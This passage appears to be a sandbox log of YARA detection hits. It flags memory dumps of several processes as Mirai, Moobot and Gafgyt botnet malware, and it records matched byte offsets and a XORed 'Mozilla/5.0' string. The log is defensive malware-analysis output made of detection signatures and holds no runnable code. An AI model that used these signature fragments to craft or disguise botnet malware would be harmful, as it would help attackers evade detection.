78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7441.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6873.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6873.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6873.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6873.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6873.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6873.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7278.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7436.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7169.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7169.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7169.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7169.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7169.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7169.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6791.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6791.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6791.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6791.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6791.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6791.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7081.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7081.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7081.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7081.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7081.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7081.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6268.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6822.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6640.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6640.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6640.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6640.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6640.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6640.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7308.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7076.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
